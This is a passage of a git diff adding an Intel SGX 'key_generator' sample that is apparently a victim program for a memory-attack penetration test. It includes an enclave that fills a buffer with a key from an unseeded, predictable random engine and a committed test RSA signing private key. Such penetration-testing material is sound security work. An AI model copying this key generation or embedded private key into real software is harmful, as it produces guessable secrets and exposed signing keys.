CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT + * LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, + * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY + * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE + * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + * + */ + + +#include +#include +#include + +# include +# include +# define MAX_PATH FILENAME_MAX + +#include "sgx_urts.h" +#include "App.h" +#include "Enclave_u.h" + +/* Global EID shared by multiple threads */ +sgx_enclave_id_t global_eid = 0; + +typedef struct _sgx_errlist_t { + sgx_status_t err; + const char *msg; + const char *sug; /* Suggestion */ +} sgx_errlist_t; + +/* Error code returned by sgx_create_enclave */ +static sgx_errlist_t sgx_errlist[] = { + { + SGX_ERROR_UNEXPECTED, + "Unexpected error occurred.", + NULL + }, + { + SGX_ERROR_INVALID_PARAMETER, + "Invalid parameter.", + NULL + }, + { + SGX_ERROR_OUT_OF_MEMORY, + "Out of memory.", + NULL + }, + { + SGX_ERROR_ENCLAVE_LOST, + "Power transition occurred.", + "Please refer to the sample \"PowerTransition\" for details." + }, + { + SGX_ERROR_INVALID_ENCLAVE, + "Invalid enclave image.", + NULL + }, + { + SGX_ERROR_INVALID_ENCLAVE_ID, + "Invalid enclave identification.", + NULL + }, + { + SGX_ERROR_INVALID_SIGNATURE, + "Invalid enclave signature.", + NULL + }, + { + SGX_ERROR_OUT_OF_EPC, + "Out of EPC memory.", + NULL + }, + { + SGX_ERROR_NO_DEVICE, + "Invalid SGX device.", + "Please make sure SGX module is enabled in the BIOS, and install SGX driver afterwards." + }, + { + SGX_ERROR_MEMORY_MAP_CONFLICT, + "Memory map conflicted.", + NULL + }, + { + SGX_ERROR_INVALID_METADATA, + "Invalid enclave metadata.", + NULL + }, + { + SGX_ERROR_DEVICE_BUSY, + "SGX device was busy.", + NULL + }, + { + SGX_ERROR_INVALID_VERSION, + "Enclave version was invalid.", + NULL + }, + { + SGX_ERROR_INVALID_ATTRIBUTE, + "Enclave was not authorized.", + NULL + }, + { + SGX_ERROR_ENCLAVE_FILE_ACCESS, + "Can't open enclave file.", + NULL + }, + { + SGX_ERROR_NDEBUG_ENCLAVE, + "The enclave is signed as product enclave, and can not be created as debuggable enclave.", + NULL + }, +}; + +/* Check error conditions for loading enclave */ +void print_error_message(sgx_status_t ret) +{ + size_t idx = 0; + size_t ttl = sizeof sgx_errlist/sizeof sgx_errlist[0]; + + for (idx = 0; idx < ttl; idx++) { + if(ret == sgx_errlist[idx].err) { + if(NULL != sgx_errlist[idx].sug) + printf("Info: %s\n", sgx_errlist[idx].sug); + printf("Error: %s\n", sgx_errlist[idx].msg); + break; + } + } + + if (idx == ttl) + printf("Error: Unexpected error occurred.\n"); +} + +/* Initialize the enclave: + * Call sgx_create_enclave to initialize an enclave instance + */ +int initialize_enclave(void) +{ + sgx_status_t ret = SGX_ERROR_UNEXPECTED; + + /* Call sgx_create_enclave to initialize an enclave instance */ + /* Debug Support: set 2nd parameter to 1 */ + ret = sgx_create_enclave(ENCLAVE_FILENAME, SGX_DEBUG_FLAG, NULL, NULL, &global_eid, NULL); + if (ret != SGX_SUCCESS) { + print_error_message(ret); + return -1; + } + + return 0; +} + +/* OCall functions */ +void ocall_print_string(const char *str) +{ + /* Proxy/Bridge will check the length and null-terminate + * the input string to prevent buffer overflow. + */ + printf("%s", str); +} + + +/* Application entry */ +int SGX_CDECL main(int argc, char *argv[]) +{ + (void)(argc); + (void)(argv); + + /* Initialize the enclave */ + if(initialize_enclave() < 0){ + printf("initialize_enclave failed ...\n"); + printf("press any key to exit ...\n"); + getchar(); + return -1; + } else { + printf("initialize_enclave successed ...\n"); + + ecall_init(); + + printf("press any key to exit ...\n"); + getchar(); + + ecall_free(); + + /* Destroy the enclave */ + sgx_destroy_enclave(global_eid); + return 0; + } +} + diff --git a/cczoo/penetration_testing/memory_attack/sgx/key_generator/App/App.h b/cczoo/penetration_testing/memory_attack/sgx/key_generator/App/App.h new file mode 100644 index 00000000..8961d7de --- /dev/null +++ b/cczoo/penetration_testing/memory_attack/sgx/key_generator/App/App.h @@ -0,0 +1,69 @@ +/* + * Copyright (C) 2011-2020 Intel Corporation. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * + * * Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * * Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in + * the documentation and/or other materials provided with the + * distribution. + * * Neither the name of Intel Corporation nor the names of its + * contributors may be used to endorse or promote products derived + * from this software without specific prior written permission. + * + * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS + * "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT + * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR + * A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT + * OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, + * SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT + * LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, + * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY + * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE + * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + * + */ + +#ifndef _APP_H_ +#define _APP_H_ + +#include +#include +#include +#include + +#include "sgx_error.h" /* sgx_status_t */ +#include "sgx_eid.h" /* sgx_enclave_id_t */ + +#ifndef TRUE +# define TRUE 1 +#endif + +#ifndef FALSE +# define FALSE 0 +#endif + +#if defined(__GNUC__) +# define TOKEN_FILENAME "enclave.token" +# define ENCLAVE_FILENAME "enclave.signed.so" +#endif + +extern sgx_enclave_id_t global_eid; /* global enclave id */ + +#if defined(__cplusplus) +extern "C" { +#endif + +void ecall_init(void); +void ecall_free(void); + +#if defined(__cplusplus) +} +#endif + +#endif /* !_APP_H_ */ diff --git a/cczoo/penetration_testing/memory_attack/sgx/key_generator/App/TrustedLibrary/Key.cpp b/cczoo/penetration_testing/memory_attack/sgx/key_generator/App/TrustedLibrary/Key.cpp new file mode 100644 index 00000000..a8136364 --- /dev/null +++ b/cczoo/penetration_testing/memory_attack/sgx/key_generator/App/TrustedLibrary/Key.cpp @@ -0,0 +1,66 @@ +/* + * Copyright (C) 2011-2020 Intel Corporation. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * + * * Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * * Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in + * the documentation and/or other materials provided with the + * distribution. + * * Neither the name of Intel Corporation nor the names of its + * contributors may be used to endorse or promote products derived + * from this software without specific prior written permission. + * + * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS + * "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT + * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR + * A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT + * OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, + * SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT + * LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, + * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY + * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE + * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + * + */ +#include + +#include "../App.h" +#include "Enclave_u.h" +#include + +void ecall_init() +{ + sgx_status_t ret = SGX_ERROR_UNEXPECTED; + ret = ecall_malloc_buffer(global_eid); + if (ret != SGX_SUCCESS) { + printf("ecall_malloc_buffer failed ...\n"); + abort(); + } else { + printf("ecall_malloc_buffer successed ...\n"); + } + ret = ecall_generate_key(global_eid); + if (ret != SGX_SUCCESS) { + printf("ecall_generate_key failed ...\n"); + abort(); + } else { + printf("ecall_generate_key successed ...\n"); + } +} + +void ecall_free() +{ + sgx_status_t ret = SGX_ERROR_UNEXPECTED; + ret = ecall_free_buffer(global_eid); + if (ret != SGX_SUCCESS) { + printf("ecall_free_buffer failed ...\n"); + abort(); + } else { + printf("ecall_free_buffer successed ...\n"); + } +} diff --git a/cczoo/penetration_testing/memory_attack/sgx/key_generator/Enclave/Enclave.config.xml b/cczoo/penetration_testing/memory_attack/sgx/key_generator/Enclave/Enclave.config.xml new file mode 100644 index 00000000..a94d12f0 --- /dev/null +++ b/cczoo/penetration_testing/memory_attack/sgx/key_generator/Enclave/Enclave.config.xml @@ -0,0 +1,12 @@ + + + 0 + 0 + 0x40000 + 0x100000 + 10 + 1 + 0 + 0 + 0xFFFFFFFF + diff --git a/cczoo/penetration_testing/memory_attack/sgx/key_generator/Enclave/Enclave.cpp b/cczoo/penetration_testing/memory_attack/sgx/key_generator/Enclave/Enclave.cpp new file mode 100644 index 00000000..1714faa6 --- /dev/null +++ b/cczoo/penetration_testing/memory_attack/sgx/key_generator/Enclave/Enclave.cpp @@ -0,0 +1,50 @@ +/* + * Copyright (C) 2011-2020 Intel Corporation. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * + * * Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * * Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in + * the documentation and/or other materials provided with the + * distribution. + * * Neither the name of Intel Corporation nor the names of its + * contributors may be used to endorse or promote products derived + * from this software without specific prior written permission. + * + * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS + * "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT + * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR + * A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT + * OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, + * SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT + * LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, + * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY + * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE + * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + * + */ + +#include +#include /* vsnprintf */ + +#include "Enclave.h" +#include "Enclave_t.h" /* print_string */ + +/* + * printf: + * Invokes OCALL to display the enclave buffer to the terminal. + */ +// void printf(const char *fmt, ...) +// { +// char buf[BUFSIZ] = {'\0'}; +// va_list ap; +// va_start(ap, fmt); +// vsnprintf(buf, BUFSIZ, fmt, ap); +// va_end(ap); +// ocall_print_string(buf); +// } diff --git a/cczoo/penetration_testing/memory_attack/sgx/key_generator/Enclave/Enclave.edl b/cczoo/penetration_testing/memory_attack/sgx/key_generator/Enclave/Enclave.edl new file mode 100644 index 00000000..41f9b737 --- /dev/null +++ b/cczoo/penetration_testing/memory_attack/sgx/key_generator/Enclave/Enclave.edl @@ -0,0 +1,55 @@ +/* + * Copyright (C) 2011-2020 Intel Corporation. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * + * * Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * * Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in + * the documentation and/or other materials provided with the + * distribution. + * * Neither the name of Intel Corporation nor the names of its + * contributors may be used to endorse or promote products derived + * from this software without specific prior written permission. + * + * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS + * "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT + * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR + * A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT + * OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, + * SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT + * LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, + * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY + * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE + * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + * + */ + +/* Enclave.edl - Top EDL file. */ + +enclave { + + + /* Import ECALL/OCALL from sub-directory EDLs. + * [from]: specifies the location of EDL file. + * [import]: specifies the functions to import, + * [*]: implies to import all functions. + */ + + from "TrustedLibrary/Key.edl" import *; + from "sgx_tstdc.edl" import *; + + /* + * ocall_print_string - invokes OCALL to display string buffer inside the enclave. + * [in]: copy the string buffer to App outside. + * [string]: specifies 'str' is a NULL terminated buffer. + */ + untrusted { + void ocall_print_string([in, string] const char *str); + }; + +}; diff --git a/cczoo/penetration_testing/memory_attack/sgx/key_generator/Enclave/Enclave.h b/cczoo/penetration_testing/memory_attack/sgx/key_generator/Enclave/Enclave.h new file mode 100644 index 00000000..0d406c94 --- /dev/null +++ b/cczoo/penetration_testing/memory_attack/sgx/key_generator/Enclave/Enclave.h @@ -0,0 +1,48 @@ +/* + * Copyright (C) 2011-2020 Intel Corporation. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * + * * Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * * Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in + * the documentation and/or other materials provided with the + * distribution. + * * Neither the name of Intel Corporation nor the names of its + * contributors may be used to endorse or promote products derived + * from this software without specific prior written permission. + * + * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS + * "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT + * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR + * A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT + * OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, + * SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT + * LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, + * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY + * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE + * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + * + */ + +#ifndef _ENCLAVE_H_ +#define _ENCLAVE_H_ + +#include +#include + +#if defined(__cplusplus) +extern "C" { +#endif + +// void printf(const char *fmt, ...); + +#if defined(__cplusplus) +} +#endif + +#endif /* !_ENCLAVE_H_ */ diff --git a/cczoo/penetration_testing/memory_attack/sgx/key_generator/Enclave/Enclave.lds b/cczoo/penetration_testing/memory_attack/sgx/key_generator/Enclave/Enclave.lds new file mode 100644 index 00000000..e3d9d0ee --- /dev/null +++ b/cczoo/penetration_testing/memory_attack/sgx/key_generator/Enclave/Enclave.lds @@ -0,0 +1,9 @@ +enclave.so +{ + global: + g_global_data_sim; + g_global_data; + enclave_entry; + local: + *; +}; diff --git a/cczoo/penetration_testing/memory_attack/sgx/key_generator/Enclave/Enclave_debug.lds b/cczoo/penetration_testing/memory_attack/sgx/key_generator/Enclave/Enclave_debug.lds new file mode 100644 index 00000000..0d5614f5 --- /dev/null +++ b/cczoo/penetration_testing/memory_attack/sgx/key_generator/Enclave/Enclave_debug.lds @@ -0,0 +1,11 @@ +enclave.so +{ + global: + g_global_data_sim; + g_global_data; + enclave_entry; + g_peak_heap_used; + g_peak_rsrv_mem_committed; + local: + *; +}; diff --git a/cczoo/penetration_testing/memory_attack/sgx/key_generator/Enclave/Enclave_private_test.pem b/cczoo/penetration_testing/memory_attack/sgx/key_generator/Enclave/Enclave_private_test.pem new file mode 100644 index 00000000..529d07be --- /dev/null +++ b/cczoo/penetration_testing/memory_attack/sgx/key_generator/Enclave/Enclave_private_test.pem @@ -0,0 +1,39 @@ +-----BEGIN RSA PRIVATE KEY----- +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 +-----END RSA PRIVATE KEY----- diff --git a/cczoo/penetration_testing/memory_attack/sgx/key_generator/Enclave/TrustedLibrary/Key.cpp b/cczoo/penetration_testing/memory_attack/sgx/key_generator/Enclave/TrustedLibrary/Key.cpp new file mode 100644 index 00000000..8fc028dd --- /dev/null +++ b/cczoo/penetration_testing/memory_attack/sgx/key_generator/Enclave/TrustedLibrary/Key.cpp @@ -0,0 +1,69 @@ +/* + * Copyright (C) 2011-2020 Intel Corporation. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * + * * Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * * Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in + * the documentation and/or other materials provided with the + * distribution. + * * Neither the name of Intel Corporation nor the names of its + * contributors may be used to endorse or promote products derived + * from this software without specific prior written permission. + * + * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS + * "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT + * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR + * A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT + * OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, + * SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT + * LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, + * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY + * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE + * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + * + */ + +#include +#include + +#include "../Enclave.h" +#include "Enclave_t.h" + +#define SECRET_KEY "Secret_Key:" +#define SECRET_KEY_SIZE 128 + +static void * buffer = nullptr; + +void ecall_malloc_buffer(void) +{ + buffer = malloc(strlen(SECRET_KEY)+SECRET_KEY_SIZE+10); + assert(buffer != NULL); +} + +void ecall_free_buffer(void) +{ + if (buffer) { + free(buffer); + buffer = nullptr; + } +} + +void ecall_generate_key(void) +{ + if (buffer) { + memcpy(buffer, SECRET_KEY, strlen(SECRET_KEY)); + std::default_random_engine rand; + auto ptr = (char *)buffer; + for (int i = strlen(SECRET_KEY); i < strlen(SECRET_KEY)+SECRET_KEY_SIZE; i++) { + auto base = rand() % 2 ? 'a' : 'A'; + ptr[i] = base + rand() % 26; + } + ptr = nullptr; + } +} diff --git a/cczoo/penetration_testing/memory_attack/sgx/key_generator/Enclave/TrustedLibrary/Key.edl b/cczoo/penetration_testing/memory_attack/sgx/key_generator/Enclave/TrustedLibrary/Key.edl new file mode 100644 index 00000000..6d64f199 --- /dev/null +++ b/cczoo/penetration_testing/memory_attack/sgx/key_generator/Enclave/TrustedLibrary/Key.edl @@ -0,0 +1,45 @@ +/* + * Copyright (C) 2011-2020 Intel Corporation. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * + * * Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * * Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in + * the documentation and/or other materials provided with the + * distribution. + * * Neither the name of Intel Corporation nor the names of its + * contributors may be used to endorse or promote products derived + * from this software without specific prior written permission. + * + * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS + * "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT + * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR + * A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT + * OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, + * SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT + * LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, + * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY + * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE + * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + * + */ + +/* Buffer.edl - EDL sample for trusted C++ library. */ + +enclave { + + /* + * A subset of the C++03 standard is supported. + */ + + trusted { + public void ecall_malloc_buffer(void); + public void ecall_free_buffer(void); + public void ecall_generate_key(void); + }; +}; diff --git a/cczoo/penetration_testing/memory_attack/sgx/key_generator/Makefile b/cczoo/penetration_testing/memory_attack/sgx/key_generator/Makefile new file mode 100644 index 00000000..ead73ab6 --- /dev/null +++ b/cczoo/penetration_testing/memory_attack/sgx/key_generator/Makefile @@ -0,0 +1,265 @@ +# +# Copyright (C) 2011-2020 Intel Corporation. All rights reserved. +# +# Redistribution and use in source and binary forms, with or without +# modification, are permitted provided that the following conditions +# are met: +# +# * Redistributions of source code must retain the above copyright +# notice, this list of conditions and the following disclaimer. +# * Redistributions in binary form must reproduce the above copyright +# notice, this list of conditions and the following disclaimer in +# the documentation and/or other materials provided with the +# distribution. +# * Neither the name of Intel Corporation nor the names of its +# contributors may be used to endorse or promote products derived +# from this software without specific prior written permission. +# +# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS +# "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT +# LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR +# A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT +# OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, +# SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT +# LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, +# DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY +# THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT +# (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE +# OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. +# +# + +######## SGX SDK Settings ######## + +SGX_SDK ?= /opt/intel/sgxsdk +SGX_MODE ?= HW +SGX_ARCH ?= x64 +SGX_DEBUG ?= 1 + +ifeq ($(shell getconf LONG_BIT), 32) + SGX_ARCH := x86 +else ifeq ($(findstring -m32, $(CXXFLAGS)), -m32) + SGX_ARCH := x86 +endif + +ifeq ($(SGX_ARCH), x86) + 